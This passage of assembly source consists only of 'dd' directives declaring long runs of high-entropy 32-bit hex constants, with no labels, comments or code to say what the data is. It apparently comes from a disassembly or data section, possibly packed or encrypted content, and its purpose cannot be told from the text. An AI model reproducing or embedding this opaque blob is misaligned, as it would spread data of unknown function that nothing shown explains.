		dd 3CA2A8D1h, 0FF07CBD6h, 3361BCh, 3DDA01B7h, 0D96C2BD7h
		dd 1B818379h, 237C98EBh, 35B61362h, 188C08C4h, 72AD6FC1h
		dd 0BC2383F9h, 0AD977E80h, 0A201B62Dh, 5BB4F224h, 1C3026FBh
		dd 44575A27h, 46BF3000h, 0B9992AFFh, 18DC79C4h,	20084CD3h
		dd 96120F01h, 23A85C1Ch, 3036A2B4h, 14987A73h, 7CF35529h
		dd 0CD18A771h, 0CB81F301h, 0DC6630C0h, 0C9B7BC43h, 989F4458h
		dd 0F9C7190Bh, 0E28C6847h, 19751994h, 4E8AFB06h, 86B02C1Ch
		dd 5DC41A00h, 0A8D6CDA6h, 474B4ADh, 0B30CCB42h,	30C7B274h
		dd 2101287Bh, 98833F92h, 0D9E4E21Ch, 0D25E05ACh, 132BF0Ah
		dd 18D65330h, 0B4B068A4h, 0C4B2A4B2h, 0FE7F30h,	6B67E5E7h
		dd 0D938BB27h, 0D884D000h, 872D1BA9h, 60D61855h, 0A3370D7h
		dd 803B4F20h, 861932A4h, 0D1719891h, 8809FE18h,	909560ADh
		dd 666C33Ch, 1623F16h, 0AB217009h, 18519124h, 0A2C9EFE0h
		dd 0B384033Ch, 42F88D88h, 6A0880CCh, 963B9A0Eh,	30D0C821h
		dd 55621922h, 3032F414h, 0D5582B67h, 4432AEDBh,	0C1535173h
		dd 2900BF28h, 485B575Ah, 0DF23603Bh, 0E2073602h, 0E96048B4h
		dd 900A00EAh, 0CA75D997h, 64A20F79h, 0AE14B402h, 97E6BF02h
		dd 80C11138h, 92C3344h,	1A713DCh, 4E64904Ch, 208434DBh
		dd 1E00C226h, 0A3F39946h, 19A2ECCh, 0B2E9648Ch,	406D664Eh
		dd 613A584h, 841C0FE0h,	638057Ch, 169DB58Bh, 368D711Ah
		dd 180C1B21h, 0B01F2D20h, 0B232C3F4h, 55806A44h, 3EDC03E8h
		dd 0C35D2007h, 246C8920h, 44813304h, 21001708h,	7BC35545h
		dd 0D598FBCh, 21D98D29h, 0CB1B4056h, 145299CFh,	3019E22Bh
		dd 2B017363h, 0F91435Fh, 1F961A82h, 0D701856h, 0B4002C51h
		dd 9453EA9Dh, 0DF6F66h,	0AA1C3DB5h, 15E23225h, 0C75E5F00h
		dd 6B340441h, 8BCE2670h, 1012304Bh, 3118D6D7h, 0EB5307E8h
		dd 0EF3F00BBh, 1A8528Fh, 0A0A93D8Dh, 66C89B5Fh,	9185DA3Eh
		dd 0BADB31A6h, 0E8900119h, 0D94B8F0Fh, 570E0D8h, 0FD6FF4h
		dd 0E1738149h, 0F4D5212h, 2BC6B7B8h, 0B0EE9h, 1253E8E6h
		dd 0DE37195Ch, 701E51E6h, 5F4C7366h, 50FB7E50h,	40E5E090h
		dd 951BFF09h, 2B0C1179h, 0EB556A2h, 8944C35Eh, 463874h
		dd 7D59C356h, 334212F1h, 0B9666007h, 0C35F7CA7h, 714E958h
		dd 52E2712Dh, 8741D07Dh, 0AF3C1159h, 64BB80E8h,	4693B53Dh
		dd 61093850h, 949936C9h, 0C5591851h, 224C8974h,	4124164Ah
		dd 89D382C0h, 0D44E9060h, 80186C17h, 81660D05h,	4911F715h
		dd 0E91240EDh, 0C80B0960h, 1DE5775h, 0E001A639h, 20C00B63h
		dd 28A04A8Eh, 0AADCFABFh, 0E9294F90h, 338500C9h, 2ECA724Ch
		dd 0BC691200h, 74EFDE15h, 29A402FEh, 0B8C3B2F6h, 0F18B48A0h
		dd 0A193E1FFh, 0D065F079h, 53239C0Ah, 44C35B0Eh, 15625C89h
		dd 0C3534320h, 662A05FCh, 1B9C0BEh, 0AA727C9Fh,	88274B44h
		dd 0FB2EC01Dh, 0FD0F0AB9h, 42557036h, 92830FC9h, 0F3B2B8h
		dd 9589F982h, 2D2B4D35h, 153CCE40h, 68CE7875h, 3749BFACh
		dd 5048D9D6h, 0C3725818h, 11448923h, 50400E1Bh,	2C93E0C3h
		dd 14BDC99Eh, 0B531831Ah, 0BC352321h, 810FEB60h, 9243DD1Fh
		dd 0E899228Eh, 0D3051244h, 0F896D8C9h, 315D2EC0h, 0ECA200B8h
		dd 0A67F8D51h, 0E606BEBFh, 10E9505Eh, 0A23D0035h, 0B7418C3Fh
		dd 0A0F18E7h, 82E6F416h, 7D8D308Fh, 0C183B74h, 3CCF0231h
		dd 0C1071164h, 0F21CB7C0h, 0FA45FA34h, 3958B02Bh, 240B4C3Ah
		dd 0D941AD38h, 884022F3h, 0C35AC352h, 4A548991h, 72422C2Ch
		dd 4353E704h, 1A23DC98h, 54304DBDh, 0E51DD7BAh,	5B801411h
		dd 0D61BD8Bh, 88EB52D4h, 60F8925Fh, 0A59D89E9h,	0D70C0E6Ah
		dd 15D93C21h, 224C3218h, 70622DBh, 0FAABE681h, 0FD080951h
		dd 1A465C2Bh, 26C3517h,	0A223BDA9h, 2591C094h, 65181C71h
		dd 91FD8700h, 8F1B8D35h, 0A5C6A0CEh, 54CA2C95h,	4A00DE10h
		dd 0FAB7FE59h, 2C8589AFh, 72F22071h, 1C117F15h,	802B680h
		dd 0CD09B179h, 2013A9F8h
		dd 5F596911h, 0FEFC48CEh, 23602AB4h, 39BE1814h,	26E35F51h
		dd 0F08846F3h, 0B8D10FBh, 8916C548h, 0FFA83889h, 0EB443A80h
		dd 0D34A4700h, 59572685h, 0FAD12401h, 8F6881BBh, 0A80F6DB5h
		dd 0E8ACF96Ah, 19916FA0h, 0E944DAB9h, 9B86088h,	1C98C78Bh
		dd 0D5B5B438h, 2ED21543h, 1723BDh, 0A1B51BE3h, 25A2860Fh
		dd 524CB791h, 5F30572Dh, 5389E4C3h, 4781C87Ch, 6073C357h
		dd 0D593F716h, 0A6A9CF29h, 0D01818F1h, 1D478400h, 0E9CA033Ah
		dd 0FFF23860h, 40C0E8A6h, 0EAFEC251h, 86D6B601h, 97C1AD84h
		dd 0EF97C30h, 0BD8963FDh, 0A8E7342Ah, 0C18B2917h, 1814D1A0h
		dd 0AE93372h, 3588B113h, 0A026362Dh, 7C0A8966h,	0FA68D1EBh
		dd 2A1326h, 0A2ACF953h,	0DE6F3019h, 0E4E80101h,	3880F7Ah
		dd 2E587573h, 1EA98508h, 0E59D3104h, 0BE91691h,	0F0532980h
		dd 8A76DF5Ah, 0DB0034ECh, 509030C2h, 55CBF52h, 0F5F2D18h
		dd 0FAE00331h, 90F0585Ah, 43C708E9h, 24A0401Eh,	692D1D60h
		dd 509DC84Eh, 0CF8B1411h, 232D2582h, 0C909CC08h, 0BFDA101Ch
		dd 0FDAA18B2h, 0F5CFD64Bh, 129D1649h, 0A32134E1h, 83000961h
		dd 310C05C0h, 122835B5h, 94BF0E57h, 87F29E3Ah, 251982ACh
		dd 5B37C74Ah, 68E92189h, 536F00h, 0AC44508Bh, 0B0CF308h
		dd 0C91A2A79h, 37648480h, 58AF80F3h, 0EFBA9FDDh, 113D8CA0h
		dd 7F286081h, 978E7C80h, 4D180D96h, 0BF9663CBh,	35614CD0h
		dd 3207F11Ah, 7D804035h, 0BBDFB591h, 9D525033h,	0ACDD4C4Bh
		dd 0A36A9D0Ah, 0C89426C5h, 0E0ED1EC5h, 3BD3FF29h, 0A8181571h
		dd 85FFDA0Dh, 0BA3B4BD9h, 0B529E121h, 67242CF1h, 0E80840B4h
		dd 5D021FDCh, 48D9ED81h, 0EDBD0313h, 0C6CE9A57h, 4E0C0B21h
		dd 40212D0h, 0CF018578h, 0C0168870h, 603DF62Ah,	39F78000h
		dd 0EF8161F5h, 4AE40372h, 119D8B0Dh, 88B2CF8Dh,	59C6C31Dh
		dd 82FE8A8h, 0C8A27C1Eh, 1AE3818Eh, 915E9DB6h, 38308118h
		dd 0B0743A69h, 0DB054421h, 0B0850F1Ah, 444BC72Dh, 58546614h
		dd 9CC761F7h, 1F73808Eh, 2613BD83h, 5ED316F4h, 8125003Ah
		dd 0CD59D4C6h, 8D158907h, 34F12A25h, 0DFDB8D75h, 4FA400DFh
		dd 5133E218h, 5B99ECCCh, 85C7285Fh, 5AD9947h, 120A810Fh
		dd 0D111A06h, 0E5E97D83h, 91432D93h, 3015A2E7h,	0ED9C3650h
		dd 0DC41F214h, 8DF92422h, 8150601Ah, 660E23D6h,	0FD5F241Dh
		dd 5CFEFF8Eh, 46749CECh, 8C75001Dh, 0DB027B37h,	0E34116C0h
		dd 4843128Dh, 660F14A8h, 9E04F28Ch, 0F60A2BA1h,	53D920A6h
		dd 1CF28069h, 0CDE6D033h, 0D7010C67h, 95CA3558h, 0D121112Eh
		dd 706002F6h, 0A288CCDFh, 1B7976C0h, 42FE9081h,	8FFA4245h
		dd 600E316Bh, 616E76B6h, 12BF9020h, 663B5CE4h, 2204ADE9h
		dd 50509A5h, 0C8AACEB0h, 78FFC018h, 0E6EED599h,	0E26E7052h
		dd 6A5D301Ch, 0F404FEF8h, 0BCD83F8Eh, 0E4F6EEC0h, 19A6C471h
		dd 0B6DF1E11h, 4674D8E4h, 8F2E031Dh, 80F6F79Bh,	12AAE458h
		dd 7E06BABDh, 0E11000BCh, 5AA43191h, 5C39F18Bh,	6A2DC5B8h
		dd 374B105Ch, 0F7930054h, 50AA59DEh, 3900BC6Dh,	0B92185E4h
		dd 532D40h, 8B60FDC1h, 0FBB70FC2h, 0E8176179h, 90B0304h
		dd 1189013h, 0F7668015h, 0C08CE25Ch, 0B97AE6ABh, 753A006Bh
		dd 0B1197E41h, 8912D82Bh, 2E56A19Dh, 90E89309h,	0FE16A915h
		dd 0C08F014Dh, 2A7BDF75h, 1C1D605Eh, 0E8952448h, 10098C17h
		dd 82B0236Bh, 234B187h,	61C4B5FFh, 2D602B8Dh, 0B945DCB4h
		dd 1DE09E1Fh, 33F4C131h, 20FD880Dh, 4EEDA9C9h, 0C01A8833h
		dd 0C86BF776h, 0C635B228h, 13F5BD12h, 0DAE8A722h, 0EE230081h
		dd 0A5C65157h, 0D51EED48h, 0A1443E7Fh, 9B855EE5h, 0A184C7DBh
		dd 0C8A252h, 404A42B3h,	9E5B4D4h, 5E987D16h, 0B589A101h
		dd 3CE9501Dh, 83120F61h, 7C3E028Eh, 0BA001A23h,	295E258Eh
		dd 666A02B8h, 1DA2DE81h, 8589D048h, 53C8095Dh, 7F602CB1h
		dd 0E28C0400h, 70952B38h, 216181D9h, 0B8CE399Eh, 0B3BE668h
		dd 6C9B50Bh, 26D780A0h,	5F49EB8Eh, 0A2AF438Ah, 73BB3019h
		dd 20EC0300h, 25DF816Ah, 33CB2452h, 995A6A5h, 9702E6A0h
		dd 9F0A1161h, 90583623h, 0A8DA0992h, 0E80238FFh, 0CD9D58F0h
		dd 0D6851511h, 0F3B50019h, 3CF85228h, 373B0AB3h, 61060B8Eh
		dd 0E288FEB0h, 8141BC01h, 0B96079D6h, 0F2806307h, 20453114h
		dd 1240AD87h, 35C14883h, 1C8C18ECh, 2F07919h, 65BD2992h
		dd 0B696F658h, 0FD93B00h, 0A7012886h, 601B4456h, 289E3633h
		dd 4CF4C853h, 0AFC0C40Eh, 0CA892D06h, 49DF1300h, 6D289A93h
		dd 9EA505C4h, 1621AAC0h, 0D92400D5h, 1B8560BEh,	0F7811E00h
		dd 520444A4h, 29C15DF6h, 309FB627h, 0B1831A11h,	4BB0523Ch
		dd 27BB2D8Ch, 0AC7C5B15h, 98A37196h, 86DC0FE0h,	9B522BB2h
		dd 3D648185h, 352D0834h, 0F21F4135h, 4E9C2E41h,	0D17B7C00h
		dd 752960ACh, 1BE9A9Dh,	61C4F580h, 0AC43E95Fh, 0F4DE2331h
		dd 7F710022h, 535E4FBAh, 0C04B8B88h, 8B1CCE6Eh,	0D808B040h
		dd 0CD4E85C7h, 7DFBC01h, 8C265AFEh, 890FD5F0h, 0BC701F5Eh
		dd 17E4F892h, 0EF03D24Ah, 33568800h, 3FE37C57h,	53061F5Eh
		dd 318A0F2Eh, 0DCD25FE0h, 1415ED04h, 8586FCB6h,	0FC3B332Dh
		dd 2321B5FFh, 68E09EE6h, 0B500E3A9h, 0B8125759h, 79F9608Dh
		dd 0C42CA7FFh, 0DC306718h, 0B101F18Ah, 0A7174BCBh, 35801911h
		dd 1B023BDFh, 2F140A4Dh, 1D4B790h, 0BD894D29h, 904DF7FDh
		dd 78BC96h, 2FAA6E4Ah, 0BD01387Ah, 501AC133h, 739A98BEh
		dd 0D1BC9108h, 62181Bh,	727DE0DBh, 292EC731h, 9858D2Dh
		dd 0C05C4D2Fh, 9227070Dh, 26655705h, 4FE632B7h,	3360A7E0h
		dd 25498D19h, 0F761898Eh, 99C3EB14h, 8107D42Dh,	0CBEF20EBh
		dd 605A6159h, 899A3520h, 85E079h, 0B4A89935h, 261BDE69h
		dd 8B431D06h, 0B51BDB5h, 30D8BB66h, 9D46238Fh, 6058162Fh
		dd 23D70C67h, 6435726Ah, 85BD7F19h, 0E93C90C3h,	0FF71F753h
		dd 7D5F2B7Ch, 8BFCE902h, 2563E0C1h, 0AD07820Ch,	182D389Dh
		dd 0B18B0F72h, 6D4231AEh, 0E824A317h, 239A678h,	3E2EFE1Eh
		dd 6FD91FF0h, 12A5F2B2h, 197BA5C0h, 511264B6h, 38C13688h
		dd 0B500C90Bh, 0A26B41F8h, 3D011FADh, 5E5F3ECEh, 726C310Fh
		dd 4A126158h, 7DBDE04Eh, 895D0A50h, 1AC98D14h, 0BAD8408h
		dd 0C1329419h, 0F2C36417h, 561B45B6h, 22CA226h,	0A4C6905Eh
		dd 2297FA01h, 157D5512h, 2726CCh, 36162C4Bh, 2057A75Bh
		dd 5041AF0Ah, 0DA0F1AE8h, 9FBA4013h, 0DDBBB1h, 3428AB30h
		dd 0C620F8DEh, 226D460Bh, 0D46440h, 11758AC8h, 73B89833h
		dd 0E56084CAh, 91950B02h, 0D2610610h, 0DC2196h,	1468CADCh
		dd 0EA5FBCABh, 4AC7BFFEh, 0AD08870Fh, 9E97463Ah, 0BE801D11h
		dd 192EF322h, 0D1910104h, 6D817FEAh, 0A30523A5h, 60E2404Ah
		dd 0D3FF3C17h, 0CF805CDBh, 3DB0BE66h, 266845B6h, 417465Ch
		dd 2BD4F58Ch, 5C6D0583h, 0C43D2AAFh, 0CE1BE916h, 283C2463h
		dd 60B3F065h, 356B6DC8h, 8B9F8252h, 3C6A399Dh, 271B853h
		dd 41012530h, 0D04F690Fh, 8C1BA828h, 0E513AFF4h, 45F1A7BFh
		dd 20F9F301h, 0A8CD526Ch, 0B88F2933h, 0C6F30C5Ah, 72170DE9h
		dd 861AFE00h, 6F8938D0h, 734FC78h, 0BD835E69h, 5A64FB98h
		dd 0B604944h, 1B0D8503h, 3FB052CEh, 20A9D155h, 719481A6h
		dd 1C467Ch, 2ABBD854h, 2801C09Bh, 20881A7Ah, 23762B81h
		dd 5616B15Ah, 0D1ACC81Ah
		dd 6004A469h, 0D66AB7EEh, 0F64F420Fh, 1B35AC48h, 898D1531h
		dd 299C2201h, 181DD95Ch, 725E00CCh, 0B1A3EC54h,	6B24BCF7h
		dd 2C69368Dh, 0F1C9CC93h, 1F6FA305h, 28169D09h,	202F48C9h
		dd 7E155CD9h, 6A1DE9B0h, 0FBC003AAh, 9DF3275Eh,	0C82D0B1Fh
		dd 5A64BE34h, 0C02C5345h, 15941E20h, 2DF1846Dh,	8A0F9000h
		dd 80EC9AA4h, 0AE0D026Ch, 0E3905650h, 7264DAF0h, 96593202h
		dd 7417FA4Fh, 0B53361AEh, 0E90A74D9h, 0BE5D81E3h, 729B580Fh
		dd 11229C3Ch, 922C0700h, 6EE40C3Eh, 53C700DCh, 0C87E0EA3h
		dd 0E91359AFh, 0A1C5F98Bh, 5A8068DBh, 9CB096C0h, 0B150DE05h
		dd 0F6817D86h, 0E4011621h, 0F0166671h, 1691B77h, 19F4A6Bh
		dd 3BA017DFh, 9286A913h, 25F35B0Ch, 0E073B640h,	18023BBh
		dd 9E2DE5Eh, 9C3F4847h,	0CEBFF85Ah, 1189469Bh, 6388A618h
		dd 3E69D402h, 784CA399h, 915AA0A8h, 0E2F7880Fh,	0A927ABB8h
		dd 0C283AF31h, 0E193F8BFh, 0A0D25E4Fh, 9C97E429h, 848B1D37h
		dd 9D014210h, 0FCD306C5h, 171918B1h, 0B0AA214h,	0CC45B509h
		dd 5612945Ah, 22001B46h, 9C91D2A0h, 0E84860E9h,	7A545A99h
		dd 0EF9B4F27h, 0A560DC80h, 28758822h, 616B83B0h, 39A244CFh
		dd 0FD00B01Dh, 0DFEA313Fh, 972BC6h, 0BE615966h,	8F08285Fh
		dd 60710F94h, 0D3C03FB6h, 6115E8C9h, 4C90DFB4h,	18A854D0h
		dd 0CDBD058Ch, 0C114102Ch, 28015DFDh, 0DCB1842Bh, 0E08C5195h
		dd 0BE9F3F01h, 0FEC428h, 0BA0FFE61h, 0A24D1AFFh, 85F3AF04h
		dd 6795DB06h, 1DB2D7F3h, 9873A630h, 90E7C27h, 111786FBh
		dd 0BBE6400h, 1E4978B0h, 0A16E4E40h, 0A61F5000h, 69F162DFh
		dd 108F0F25h, 890C8CE3h, 5A3DE9h, 177FC4CFh, 928EDB40h
		dd 0E5565374h, 0AC80B23Eh, 7FA13104h, 0B848EE6Ah, 0E2E1C074h
		dd 453BEA2h, 5E180768h,	0E68D845Fh, 0AF12E06Dh,	5E8A00A3h
		dd 0EE4AC20h, 8926BD01h, 9D4AEC17h, 5864763Bh, 0E84A11DAh
		dd 0A4B80048h, 0D73A3D33h, 0B6170B2Eh, 2D25E96h, 0FDE42923h
		dd 11048B81h, 0C5D8BE66h, 6FC15E83h, 1FFB161Ah,	0DE3DAAC9h
		dd 7931E728h, 0D1E3998Ch, 57F8191Ah, 95390BBFh,	0B944567Ah
		dd 1BF29343h, 113A30h, 0A1D0C50Ah, 8D0F84E8h, 0DED618B5h
		dd 0B09F595Ah, 0F9D7809Eh, 30469DBh, 7559BD2Ch,	0B4045B92h
		dd 29020D4Dh, 6BEBAD9Dh, 0E189C399h, 3D0D7571h,	6F338DA4h
		dd 30B8C22Dh, 595CECA2h, 21B6962h, 15E62CE9h, 2C196120h
		dd 8D0C08Bh, 34242FB1h,	184B1C24h, 0FA814Ah, 0F933A049h
		dd 3520DD2Bh, 0A6F45600h, 0DE1B36D6h, 43A85A15h, 0FDB5899Dh
		dd 4AB9DD58h, 0F91BF890h, 893D26F1h, 400A14EDh,	0B6BC6849h
		dd 2D02263Dh, 4C821E5Fh, 1AFC4C34h, 9766018Ch, 0BF883F3Eh
		dd 25112F20h, 0A9344FE6h, 12D9F20Eh, 0DAD661A2h, 0A21280E4h
		dd 2DDB9BBFh, 8B3A6802h, 0A850B17Bh, 473E097h, 0E1B52BB6h
		dd 51900B1Ch, 9EC303CCh, 8FA17696h, 5B0ED4E6h, 0F5289F12h
		dd 0B2E0C2A6h, 0E0481170h, 324D122Ah, 0C4909127h, 13662460h
		dd 8E69CBFh, 224C0B34h,	0A7F6501Fh, 412441CDh, 205E553h
		dd 0FC244E8h, 0E3F93BCCh, 15B523C1h, 7DE9042Ah,	0ABE7E11Dh
		dd 0D66A78BEh, 7585010Ch, 4F9D8131h, 6E88177Dh,	0A980008Bh
		dd 2318468Bh, 6321044Fh, 0A1CD9529h, 99C903D2h,	0BFF5009Ch
		dd 4804D44Eh, 82428F72h, 8A0F6009h, 8D09E710h, 4F1FA528h
		dd 7A236120h, 0AE78F1B5h, 758AC193h, 0E80A6D0Ah, 0C9550046h
		dd 0C1DD127Ah, 0E90E7C27h, 32FFF81Bh, 1A23D83Ah, 0E11D4C00h
		dd 4AFB3214h, 9CD2C8ADh, 67806200h, 4D74549Ah, 29CCC4CCh
		dd 0C18B0430h, 5BE093A6h, 0CD005562h, 4559A3D4h, 4BEB01BBh
		dd 23FC3F04h, 4ADA0118h, 6943FBC8h, 187B8F7h, 7280E7EFh
		dd 446E1AD6h, 3ED189F7h, 86F6C67h, 0F1C12507h, 0F78B1102h
		dd 5EF133Eh, 0A72E37D0h, 6B68A06Eh, 0A023019Bh,	3F69A70Dh
		dd 27027ACDh, 76D9BD29h, 965B49EEh, 0E3F82971h,	16A01746h
		dd 439B202h, 6170A19h, 3FE2EBF6h, 919B3FD8h, 0AA21AD79h
		dd 18941A06h, 0A6050F9h, 0AEAB61DAh, 8AD1F1DBh,	5185ECD9h
		dd 2420015Bh, 3B39DDBFh, 29DA47C9h, 0B06566FEh,	0C254FC7h
		dd 0A87921C5h, 3CB8C876h, 2810644h, 0F8D0B5D6h,	5DB6137h
		dd 3D2CBE04h, 23A62E24h, 795A0616h, 2BA0FCF3h, 1B9AF18Dh
		dd 0BF600CB4h, 168AFAD4h, 8E1DE948h, 0E9232AE7h, 68F91FA1h
		dd 17CF1E7h, 25307A2Eh,	0B14F9023h, 3D1B00ABh, 48E8C592h
		dd 0F90050D6h, 0B4EF9E5Ah, 5293C96h, 9D8BEE1Eh,	1B50E1D5h
		dd 4DFBC291h, 0ADD44079h, 0E802B629h, 11E90B9Ah, 834ADF46h
		dd 98C068DEh, 0CBEA6513h, 0F8BCF60Bh, 0EF90001Eh, 0B838FFAh
		dd 17087BBDh, 4FACD84Bh, 0A2B5AB89h, 0F95EE9BAh, 0BD0B4155h
		dd 80BE609h, 0C93724CBh, 70BC5309h, 18035DEAh, 0E9D27D80h
		dd 811D0122h, 0A2A8F0E7h, 0C2364960h, 0C800F21h, 0A6D80657h
		dd 0B381158Ah, 0ADDD8D2Bh, 0F94274EDh, 8659CDh,	0CAFA384Bh
		dd 8E2E6E26h, 45085151h, 0F75E132Ah, 0E16A5B3Eh, 0B7297704h
		dd 9619C3BFh, 31FC2C99h, 13E54478h, 0F6F6C47Ch,	65C7E25Bh
		dd 58BE80D7h, 32FAD8Bh,	0E65B513h, 6B3568F6h, 0E27DB643h
		dd 0EB607EEFh, 59508C7Bh, 90D77358h, 514D019Ah,	5790F8DCh
		dd 155EFE5Eh, 0FC716140h, 0B7140424h, 0E8830F40h, 4085885Eh
		dd 0B589905Fh, 0E90D74B9h, 85EC8FEAh, 5EA6BA41h, 0C9C8DBB0h
		dd 0D7A88072h, 1270E612h, 471E4F5h, 0FC160513h,	248B8F44h
		dd 74ED1749h, 8131C094h, 2AC38B29h, 5DE17084h, 0D0E7DE76h
		dd 0C7E1AE2Ah, 129D46B0h, 2BCC4040h, 0DC0EBED8h, 7B674702h
		dd 44E86093h, 689500C1h, 92254A69h, 0B203705Dh,	57C7628Dh
		dd 8E0F8959h, 0FE009766h, 29935061h, 2E69BDB5h,	590673F2h
		dd 0A4181Ch, 0E6C86F19h, 1D73FD89h, 0C58D2915h,	0B5A550F5h
		dd 0BA0B612Dh, 0B94BB70Dh, 0E23F9880h, 180A92A0h, 6EADD750h
		dd 0D168A662h, 44E87C25h, 0E75E4110h, 5CFC0B49h, 5320086h
		dd 617C9D3Eh, 0DD5FCAFBh, 82649237h, 27455B8Dh,	2B123A82h
		dd 44EACDC4h, 0EC00B77Fh, 55745CFFh, 48F145EFh,	0F1473ECAh
		dd 6D35B5A1h, 0AD59211Ah, 0CE4000CDh, 12BF9193h, 0E0989288h
		dd 0AF24E7AFh, 37AD86F6h, 69160099h, 97880758h,	0BE687096h
		dd 0AD294112h, 0A940A221h, 125CF781h, 5373169Ah, 270B6FACh
		dd 4254C2B6h, 2D66D923h, 2EC593EDh, 8EEE8902h, 0F27DE13Fh
		dd 0B829CD20h, 4A1D5A16h, 447181CDh, 3B6DB145h,	0D3FCC474h
		dd 939A4480h, 5A02ECBDh, 8BCB15D3h, 8FD2D048h, 0B2862E6h
		dd 45BDF7C0h, 0D1891F4Fh, 80806E68h, 2EF1E1F0h,	4D30CF06h
		dd 0BE0F9D0h, 5F8E45DEh, 12FDF48h, 17F170B9h, 1C160D18h
		dd 0FE84635Ah, 1DE0D3F6h, 0BF2CD2AEh, 0F90B7C0Ah, 0CE7E68E9h
		dd 4BD000CFh, 0CCA841B7h, 9401B863h, 428D9235h,	156C8514h
		dd 0FEA8A288h, 7717592Ch, 40E5ED52h, 0CD25471Ch, 424A87FAh
		dd 0EF0CF4E7h, 8D44A22Ch, 1F90455Ah, 0B6F78BC3h, 0CF55C502h
		dd 0C01CC8CAh, 333D02FDh, 62356401h, 8F0FE99Fh,	0F33DE236h
		dd 0F6EF4C2Dh, 78923D62h, 351C5AD7h, 0A8A7ADE4h, 0E4380585h
		dd 8110498Ah, 91DADA3h,	0DB2AD8C9h, 257B8047h, 2107479h
		dd 8D09CD6Ch, 0C7020EB5h, 80D35685h, 7E0D5DF7h,	0D9285FBFh
		dd 0C04D8E15h, 0FBCD1673h, 0D222DCFh, 9D82F550h, 0C74345Bh
		dd 372089D9h, 5E658A11h
		dd 6B58E42Bh, 95CC50E7h, 902A404Dh, 926C3294h, 3100E1B9h
		dd 2FEBD995h, 5B3E7F7Ah, 0D359C600h, 0B5BF08C9h, 4AA2791Eh
		dd 3C54E6C3h, 0D13A9DADh, 46021723h, 74A1AEEAh,	22CF25A4h
		dd 3EB3E160h, 808B12A3h, 0B91F1036h, 7B25DD17h,	9F5C0F11h
		dd 7551A023h, 12C8F836h, 57ED9589h, 0E04CB64Eh,	2F8BE18Ah
		dd 0AD10237Eh, 3A09EC9Dh, 806CB6C0h, 0D3491FB0h, 0EEDE2EB2h
		dd 0F37B698Ah, 35732671h, 0B8D62000h, 622B7811h, 46F64501h
		dd 8BE7F49Dh, 0B414A030h, 19E814EEh, 534D8503h,	0F1C872E1h
		dd 0A509A902h, 89EBABA1h, 55F0960h, 32405F60h, 1D69950Eh
		dd 82493EBCh, 0E1C85082h, 5740DB59h, 0E9B41F09h, 6D9D09BCh
		dd 0A8ADF31Bh, 0C4CE16BDh, 0E01CE6B9h, 2F7C780h, 0BD337F02h
		dd 810010D9h, 2D7BA4CFh, 0B21A77BAh, 35F9FC40h,	8A605009h
		dd 4279DCh, 0F8D7217Bh,	0C800AE73h, 65B218FFh, 3A155953h
		dd 8B1D6949h, 1727EDCEh, 0F5B0890Fh, 8C92E1C6h,	0C0A34D97h
		dd 4ED891D6h, 0A14FE690h, 8E9EED4h, 0FA7273BCh,	13EFFAC1h
		dd 0E1430617h, 113AC7Dh, 0FE8BC7F0h, 4DAC684Dh,	4E6BC09h
		dd 65B5899Ah, 56500729h, 0DE88B72Fh, 0F6620902h, 49F9F4C5h
		dd 0A1826228h, 5DCE1FEh, 0FB057148h, 0B7C0C1EEh, 29E028FAh
		dd 0D125991Eh, 0A8C70059h, 9016142h, 75C32400h,	412D0E50h
		dd 0AFE62546h, 3CD1965Bh, 3C1026Ch, 3E1279BDh, 939BDB74h
		dd 0C4912AC0h, 29E2BFC9h, 0FF70BA0Eh, 3995A2D3h, 0A0D5D335h
		dd 2CB920C0h, 7CCE916h,	0F924D68Bh, 0BCB7AF03h,	0AFBB7B01h
		dd 0E038CAF2h, 58384980h, 0A12C27ECh, 19083B95h, 0CF9E2F28h
		dd 19A8610h, 248C15F8h,	3E0E14Ah, 9D8B7DABh, 2D36A8D4h
		dd 0BDCF29FCh, 37F18028h, 3C8C0C46h, 0DA5F7F3Bh, 0A5D6ED48h
		dd 0C681B246h, 8300DED9h, 0B41245BDh, 0BA4444D0h, 93015D7Bh
		dd 8975A47Ah, 8F972B85h, 46EA8D64h, 31B7E9D3h, 39A219B5h
		dd 0E82DF6C8h, 8636008Bh, 0EE9B08E4h, 7FB8459Fh, 92095182h
		dd 8CD064F3h, 879D00EBh, 0E4C2C7E5h, 8506FBBFh,	6CE927DCh
		dd 44A8AF28h, 80A9BC01h, 0FC221182h, 0A73E16CFh, 0F30B340h
		dd 4019BFF7h, 0B06591CDh, 2E280EB5h, 0ED8E1AC0h, 1A6743E7h
		dd 8F124E79h, 0C318887Ah, 5F8908ABh, 44EC2146h,	5B7ABE39h
		dd 10F0E909h, 0F5F65A82h, 0E8933FD9h, 0DDC20490h, 0FD7200F1h
		dd 1DBF5B6Eh, 0F82D1022h, 0FC24855Eh, 632EF5A2h, 0B200FCA1h
		dd 8A5F9C3Fh, 6EEA97F2h, 9C19A05h, 3F110D85h, 4FF32A28h
		dd 0FB20D850h, 34BBE59Ah, 0DD300371h, 0E91640DDh, 0BD97EF79h
		dd 0F0D91383h, 9AC2B0C0h, 762361B5h, 0D69168F3h, 18C153Ah
		dd 0DB13866Fh, 27FEC93h, 619BDB2h, 0DB53B255h, 61C501Eh
		dd 0CE01CC00h, 5A77361Ah, 9F92B86Ch, 0F1CE492Ch, 31478A9Eh
		dd 0ECBE4BEBh, 591027E8h, 8E1E4E0Fh, 208DBDC4h,	0C04A71F2h
		dd 2B70E7B3h, 8ADBD84Bh, 4F01AF80h, 9B01533Fh, 0A9BE934Bh
		dd 50F9E82Ah, 0AD819D9h, 2F4BF90Fh, 12C01788h, 0C4BB19D8h
		dd 0B70E55BCh, 0BB0924A4h, 0A4DC3112h, 21875B0Fh, 3C318DC4h
		dd 1BFF41B1h, 7B96C0C8h, 4059753h, 39621781h, 530BB12h
		dd 4119B529h, 142A451Fh, 0A94D0836h, 82047ABDh,	0BB823739h
		dd 43DED2FFh, 0CD6A5E6Dh, 37621D00h, 23AB0701h,	2135BD12h
		dd 1FF95475h, 9A018BA8h, 867350B0h, 9C2F345Fh, 5291F7CEh
		dd 0E0196D25h, 0A67D2C48h, 0F68E8D01h, 5E63EF81h, 203A6BD5h
		dd 3CA995Ah, 0B261F500h, 5E123514h, 85974838h, 1496E5Ah
		dd 694095DFh, 0B661A0D2h, 0A6230EE9h, 773DA055h, 0C1FFC1B9h
		dd 58BA20CBh, 2D6D2948h, 7A00981Dh, 6F2EE101h, 62F200E1h
		dd 99C23A06h, 0C6E1125Fh, 1D4F04B5h, 1B891601h,	0C5F2132Ah
		dd 589D81FAh, 35E969F8h, 1BD8538h, 95E0C4B9h, 520EB4Eh
